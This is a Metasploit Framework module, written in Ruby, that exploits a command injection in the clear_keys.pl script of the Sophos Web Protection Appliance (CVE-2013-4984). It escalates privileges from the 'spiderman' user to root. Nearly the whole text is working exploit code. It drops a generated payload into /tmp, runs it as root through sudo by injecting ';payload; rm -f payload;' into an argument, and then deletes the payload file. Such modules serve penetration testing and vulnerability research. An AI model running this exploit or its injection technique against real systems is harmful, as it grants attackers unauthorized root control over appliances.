Sophos Web Protection Appliance – clear_keys.pl Privilege Escalation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/exe' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common def initialize(info={}) super( update_info( info, { 'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation', 'Description' => %q{ This module abuses a command injection on the clear_keys.pl perl script, installed with the Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root". This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection Appliance web ui, executed by the "spiderman" user. This module has been tested successfully on Sophos Virtual Web Appliance 3.7.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'Francisco Falcon', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]], 'References' => [ [ 'CVE', '2013-4984' ], [ 'OSVDB', '97028' ], [ 'BID', '62265' ], [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] ], 'DefaultOptions' => { "PrependFork" => true, "PrependSetresuid" => true, "PrependSetresgid" => true }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 06 2013' } )) register_options([ # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]), ], self.class) end def check if file?(datastore["clear_keys"]) return CheckCode::Detected end return CheckCode::Unknown end def exploit print_status("Checking actual user...") id = cmd_exec("id -un") if id != "spiderman" fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this") end print_status("Checking for the vulnerable component...") if check != CheckCode::Detected fail_with(Failure::NoTarget, "The vulnerable component has not been found") end print_status("Dropping the payload to #{datastore["WritableDir"]}") exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" write_file(exe_file, generate_payload_exe) cmd_exec "chmod +x #{exe_file}" print_status("Running...") begin # rm the file after executing it to avoid getting multiple sessions cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}" ensure cmd_exec "rm -f #{exe_file}" end end end |